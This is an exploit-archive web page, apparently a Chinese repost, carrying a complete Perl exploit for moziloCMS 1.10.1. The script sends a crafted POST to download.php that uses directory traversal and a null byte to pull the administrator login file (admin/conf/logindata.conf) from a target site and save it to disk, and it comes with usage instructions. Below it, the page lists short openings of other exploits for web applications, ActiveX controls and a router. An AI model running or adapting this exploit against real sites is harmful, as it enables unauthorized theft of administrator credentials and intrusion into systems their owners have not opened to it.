moziloCMS 1.10.1 (download.php) Arbitrary Download File Exploit

所属分类: 网络安全 / Exploit 阅读数: 93
收藏 0 赞 0 分享
#!/usr/bin/perl
#
# moziloCMS 1.10.1 Perl exploit
#
# discovered & written by Ams
# ax330d [doggy] gmail [dot] com
#
# DESCRIPTION:
# Vulnerability hides in "download.php", which we can use to download any file we want to.
# Here, for example, "admin/conf/logindata.conf". (Btw, not very smart solution to keep it open
# not looking on that it is protected by .htaccess)
# Script does not filters global params, it only checks whether local file exists...
# (By the way, all downloads are logged to "/conf/downloads.conf")
#
# USAGE:
# Run exploit :perl expl.pl http://www.site.com
#
# NEEDED:
# magic_quotes_gpc = off
#

use strict;
use IO::Socket;

print "\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\n\t\t moziloCMS 1.10.1 exploit (by Ams)
\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";

if(@ARGV<1){
die "\n\tUsage:\texpl.pl [host]\n\n
\n\tExample:\texpl.pl http://localhost/blog/\n\n";
}

my $expl_url = $ARGV[0];

print "\n\t[~] Starting exploit...\n";

if($expl_url =~ m#http://#) {
exploit($expl_url);
} else {
exploit('http://'.$expl_url);
}

sub exploit {

# Defining vars.
my $site = pop @_;
my ($a, $b, $c, @d) = split /\//,$site;
my $path = join('/',@d);
my $host = $c;
if($path) {$path = '/'.$path;}
my ($length, $packet, $downloaded, $injection);

# Revealing /data/sess.php.
print "\n\t[~] Sending request to 'downloads.php'...\n";
$injection = "file=hola&cat=../admin/conf/logindata.conf\0";
$length = length($injection);
$packet = "POST $path/download.php HTTP/1.1\r\n";
$packet .= "Host: $host\r\n";
$packet .= "Connection: Close\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Content-Length: $length\r\n\r\n";
$packet .= "$injection";
$downloaded = send_surprise($host, $packet, 1);

if($downloaded =~ /hackin/) {
print "\n\t[-] Exploiting failed...\n";
} elsif ($downloaded =~ /200 OK/) {
# Parsing and saving received data.
$downloaded =~ /\r\n\r\n/ ;
$downloaded = $';

open(DOWNL, ">hola.txt");
print DOWNL $downloaded;
close(DOWNL);
print "\n\t[ ] Looks like ok! Check hola.txt\n";
} else {
print "\n\t[-] Exploiting failed...\n";
}
}

sub send_surprise() {

my $dat = 1;
my ($host, $packet, $ret) = @_;
my $socket=IO::Socket::INET->new(
Proto=>"tcp",
PeerAddr=>$host,
PeerPort=>"80"
);
if( ! $socket) {
return 0;
} else {

print $socket $packet;
if($ret) {
my $rcv;
while($rcv = <$socket>) {
$dat .= $rcv;
}
}
close ($socket);
return $dat;
}
}

更多精彩内容其他人还在看

Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote BOF Exploit

Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote Buffer Overflow Exploit Author: Koshi Original POC: http://www.milw0rm.com/exploi
收藏 0 赞 0 分享

MyBulletinBoard (MyBB)

<?php // forum mybb <= 1.2.11 remote sql injection vulnerability // bug found by Janek Vind "waraxe" http://www.waraxe
收藏 0 赞 0 分享

Acoustica Mixcraft

#!/usr/bin/perl # # Acoustica Mixcraft (mx4 file) Local Buffer Overflow Exploit # Author: Koshi # # Date: 08-28-08 ( 0day ) # Ap
收藏 0 赞 0 分享

Simple PHP Blog (SPHPBlog)

<? /* sIMPLE php bLOG 0.5.0 eXPLOIT bY mAXzA 2008 */ function curl($url,$postvar){ global $cook; $ch = cur
收藏 0 赞 0 分享

Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit

----------------------------------------------------------------------------- Ultra Office ActiveX Control Remote Arbitrary File Corruptio
收藏 0 赞 0 分享

Dana IRC 1.4a Remote Buffer Overflow Exploit

#!/usr/bin/perl # k`sOSe - 08/24/2008 # This is a useless and not portable exploit code, tested only on my winxp-sp3 VM. # I was loo
收藏 0 赞 0 分享

GeekLog

#!/usr/bin/perl use warnings; use strict; use LWP::UserAgent; use HTTP::Request::Common; print <<INTRO;
收藏 0 赞 0 分享

NoName Script

################################################################################ [ ] NoName Script 1.1 BETA Multiple Remote Vulnerabiliti
收藏 0 赞 0 分享

Pars4U Videosharing V1 XSS / Remote Blind SQL Injection Exploit

#!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if(!$ARGV[1]) { print "
收藏 0 赞 0 分享

Belkin wireless G router ADSL2 modem Auth Bypass Exploit

<html> <head> </head> <body> <b>html code to bypass the webinterface password protection of the Be
收藏 0 赞 0 分享
查看更多